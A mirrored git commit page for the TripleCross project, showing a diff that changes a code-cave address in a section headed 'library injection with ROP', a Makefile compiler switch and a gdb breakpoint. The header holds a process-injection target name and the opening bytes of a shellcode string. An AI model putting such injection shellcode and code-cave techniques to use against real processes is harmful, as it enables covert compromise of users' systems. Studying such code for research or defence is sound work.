mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-26 03:13:07 +08:00
New explanation for the injection technique (alternative scanning process) and added flow diagram with full process.
This commit is contained in:
@@ -28,7 +28,7 @@
|
||||
|
||||
//LIBRARY INJECTION WITH ROP
|
||||
#define TASK_COMM_NAME_INJECTION_TARGET_TIMERFD_SETTIME "simple_timer"
|
||||
#define CODE_CAVE_ADDRESS_STATIC 0x0000000000402e95
|
||||
#define CODE_CAVE_ADDRESS_STATIC 0x00000000004012c4
|
||||
#define CODE_CAVE_SHELLCODE_ASSEMBLE_1 \
|
||||
"\x55\x50\x51\x52\x53\x57\x56\
|
||||
\xbf\x00\x20\x00\x00\x48\xbb"
|
||||
|
||||
@@ -15,10 +15,10 @@ simple_timer: simple_timer.o
|
||||
gcc -g -o simple_timer simple_timer.o
|
||||
|
||||
simple_open.o: simple_open.c $(HEADERS)
|
||||
gcc -g -c simple_open.c
|
||||
clang -g -c simple_open.c
|
||||
|
||||
simple_open: simple_open.o
|
||||
gcc -g -o simple_open simple_open.o
|
||||
clang -g -o simple_open simple_open.o
|
||||
|
||||
execve_hijack.o: execve_hijack.c $(HEADERS)
|
||||
gcc -g -c execve_hijack.c
|
||||
|
||||
@@ -1,2 +1,2 @@
|
||||
break *(main+79)
|
||||
break *(main+52)
|
||||
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Reference in New Issue
Block a user